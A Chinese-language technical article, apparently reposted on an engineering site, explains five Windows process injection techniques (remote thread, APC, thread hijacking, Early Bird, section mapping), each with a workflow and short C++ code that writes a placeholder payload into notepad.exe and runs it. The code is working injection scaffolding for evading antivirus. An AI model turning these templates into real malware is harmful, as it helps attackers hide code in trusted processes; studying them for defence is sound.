在Windows中常见的进程注入手段介绍

描述

 前言    

进程注入是一种众所周知的技术,恶意程序利用它在进程的内存中插入并执行代码。

进程注入是一种恶意程序广泛使用的防御规避技术。大多数情况下,恶意程序使用进程注入来动态运行代码,这意味着实际的恶意代码不需要直接写入磁盘上的文件中,以避免被防病毒软件的静态检测所发现。

简单来说,进程注入就是将一段数据从一个进程传输到另一个进程的方法,这种注入过程可以发生在执行操作的同一进程(自注入)上,也可发生在外部进程上。在注入外部进程的情况下,攻击者通常会选择受信任的合法进程,例如正在运行的应用程序或系统进程,其目的是未经授权地访问和操纵这些进程,同时也希望能够隐藏自己注入的恶意代码,以逃避安全软件和防御者的检测。

无论是在同一进程还是远程进程中,为了在内存中注入和执行代码,攻击者会使用 Windows API 的不同组合。这些 API 在注入逻辑中有不同的用途,具体使用的函数调用数量和特定的 Windows API 可能会有所不同,这取决于所选的代码注入方法。

已有多种方法实现在 Windows 进程空间内的代码注入和执行,下面列出了常见的进程注入方法(以注入 shellcode 为例,注入 DLL 类似)。

ps:文中设计的示例代码为了精简,方便看清逻辑,并未添加相关错误处理。

 传统的远程线程注入 

该注入技术通过实例化远程线程来实现在目标进程中的执行。

 工作流程:

 获取目标进程的句柄 

 在目标进程中为 payload 分配空间 

 将 payload 写入目标进程分配的空间中 

 创建一个线程执行注入代码 

 

int main()
{
    SIZE_T payloadLen = sizeof(payload);

    DWORD pid = FindProcessIdByName(TEXT("notepad.exe"));
    HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
    LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ);
    WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, NULL);
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteBuffer, NULL, 0, NULL);
    WaitForSingleObject(hThread, 500);

    return 0;
}

 

根据该注入技术,可以拓展出许多基于该技术的变种,在获取目标进程句柄上,恶意程序可以通过创建一个新的进程来实现(CreateProcess、CreateProcessWithLogonW、CreateProcessAsUser、NtCreateUserProcess 等),而不仅仅通过打开现有进程实现,获取通过较低层次的 API(Native API)NtOpenProcess 来获取目标进程句柄,在比如可以使用 NtWriteVirtualMemory 将数据写入对方内存,使用类似 ZwCreateThreadEx、RtlCreateUserThread 等 API 来执行写入的恶意代码。

 APC 注入 

进程中每一个线程都存在一个 APC 队列,当一个线程从等待状态中苏醒(线程调用 SlleepEx、SignalObjectAndWait、MsgWaitForMultiple、ObjectsEx、WaitForMultipleObjectsEx、WaitForSingleObjectEx 函数时会进入可唤醒状态),进入可警报状态状态的时候,系统遍历该线程的 APC 队列,然后按照 FIFO 的顺序来执行 APC。在用户模式下,我们可以像创建远程线程一样,使用 QueueUserAPC 把 APC 过程添加到目标线程的 APC 队列中,等这个线程处于可警报状态时,就会执行插入的 APC 过程了。更详细的 APC 解释可参考 Asynchronous Procedure Calls(链接:https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls)

 工作流程:

 获取目标进程句柄 

 获取目标进程任一线程句柄 

 在目标进程中为 payload 分配空间 

 将 payload 写入目标进程分配的空间 

 将 APC 插入目标线程的 APC 队列中 

当这个线程处于可警报状态时,恶意代码将被执行,APC 注入的优点,避免了在目标进程中创建新的线程,使用异步过程调用去触发恶意代码的执行。但缺点也很明显,恶意代码被触发执行的条件苛刻,被触发的时机不确定。

 

int main()
{
    SIZE_T payloadLen = sizeof(payload);

    DWORD pid = FindProcessIdByName(TEXT("notepad.exe"));
    HANDLE hThread = FindThread(pid);
    HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
    LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ);
    WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, NULL);
    QueueUserAPC((PAPCFUNC)pRemoteBuffer, hThread, NULL);

    return 0;
}

 

 Thread Hijacking 注入 

该注入技术通过将目标线程的执行重定向到任意代码来控制进程内执行流的技术。它允许攻击者在不创建新进程或修改底层代码的情况下操纵正在运行的进程的行为。

 工作流程:

 获取目标进程句柄以及目标进程的任一线程句柄 

 在目标进程为 payload 分配一段空间 

 将 payload 写入目标进程 

 挂起目标线程 

 获取目标线程上下文 

 修改目标线程 RIP(x64)/EIP(x86)让其指向存放 payload 的地址 

 提交劫持目标线程上下文 

 恢复被劫持的线程执行 

 

int main()
{
    SIZE_T payloadLen = sizeof(payload);
    CONTEXT ctx{};

    DWORD pid = FindProcessIdByName(TEXT("notepad.exe"));
    HANDLE hThread = FindThread(pid);
    HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
    LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ);
    WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, (SIZE_T*)NULL);
    SuspendThread(hThread);
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(hThread, &ctx);
#ifdef _WIN64
    ctx.Rip = (DWORD_PTR)pRemoteBuffer;
#else
    ctx.Eip = (DWORD_PTR)pRemoteBuffer;
#endif
    SetThreadContext(hThread, &ctx);
    ResumeThread(hThread);

    return 0;
}

 

 Early Bird 注入 

Early Bird 是一种简单而强大的技术,实际上它是 APC 注入和 Thread Hijacking 注入的结合体,具体原理是在线程初始化时会调用 NTDLL 中的未导出函数 NtTestAlert,它是一个用于检查当前线程的 APC 队列的函数。如果队列中有任何排队的作业,NtTestAlert 会清空队列。在线程启动时,在执行任何其他操作之前,NtTestAlert 函数会被调用。因此,如果在线程的初始状态下操作 APC,就可以成功执行恶意代码。

 工作流程:

 创建一个处于挂起状态的合法进程 

 在目标进程的内存空间中为 payload 分配内存 

 将 payload 写入目标进程 

 将 APC 插入目标进程主线程的 APC 队列中 

 恢复目标进程的主线程执行 

 

int main()
{
    SIZE_T payloadLen = sizeof(payload);

    TCHAR processName[] = TEXT("notepad.exe");

    STARTUPINFO si{sizeof(si)};
    PROCESS_INFORMATION pi{};
    CreateProcess(NULL, processName, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    LPVOID pRemoteBuffer = VirtualAllocEx(pi.hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ);
    WriteProcessMemory(pi.hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, (SIZE_T*)NULL);
    QueueUserAPC((PAPCFUNC)pRemoteBuffer, pi.hThread, NULL);
    ResumeThread(pi.hThread);

    return 0;
}

 

在将 payload 写入目标进程后,当恶意代码被执行时,查看此时调用堆栈可以发现 NtTestAlert 函数被调用,可以发现导致恶意代码被执行的流程是:

 

LdrInitializeThunk → LdrpInitialize → _LdrpInitialize → NtTestAlert → KiUserApcDispatcher

 

RIPRIP

 Mapping 注入 

通过利用 MapViewOfFile 相关函数,恶意代码可以将攻击者控制的现有节映射到目标进程中。这样做的好处是不需要显式地分配具有 RWX 权限的内存,并且避免了复制单独有效载荷的需要。恶意代码间接地成为目标进程内存空间的一部分,从而允许它在真正模块的上下文中执行。

 工作流程:

 创建具有 RWX 保护属性的映射对象 

 将映射对象映射到本地进程的虚拟地址空间中 

 将 payload 写入到映射地址中 

 获取目标进程句柄 

 将映射对象映射到远程进程的虚拟地址空间中 

 创建一个线程执行注入代码 

 

int main()
{
    SIZE_T payloadLen = sizeof(payload);
    DWORD pid = FindProcessIdByName(TEXT("pe-bear.exe"));

    HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, (DWORD)payloadLen, NULL);
    LPVOID pLocalView = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, payloadLen);
    memcpy(pLocalView, payload, payloadLen);
    HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
    LPVOID pRemoteView = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteView, NULL, 0, NULL);
    WaitForSingleObject(hThread, 500);

    UnmapViewOfFile(pLocalView);
    CloseHandle(hThread);
    CloseHandle(hMapping);

    return 0;
}

 

  总结  

大多数进程注入技术的步骤如下(某些技术可能需要额外的步骤):

首先,需要获取目标进程的句柄,这可以通过创建一个新的进程或使用 API 函数来查看运行中的进程来实现;

其次,需要准备好要注入的数据(shellcode、PE(exe、dll...));

然后,需要找到一种方法将准备好的数据传输到目标进程。这可以使用进程间通信(IPC)机制或一些系统 API 组合实现;

最后,需要执行注入的代码,将准备好的数据在目标进程中运行起来

进程注入在恶意代码开发中被大量使用,防御者也在研究越来越多的新技术,传统的进程注入技术大多依赖于通用的 API,在一些高级的进程注入方法中,这些新的注入方法比传统的注入手段更加复杂,这些注入方法针对目标进程的内部结构,而不仅仅依赖通用 API,这使得防御者更难检测,在后续的文章中,将分析这些高级的注入方法,研究其实现原理。






审核编辑:刘清

打开APP阅读更多精彩内容
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉

全部0条评论

快来发表一下你的评论吧 !

×
20
完善资料,
赚取积分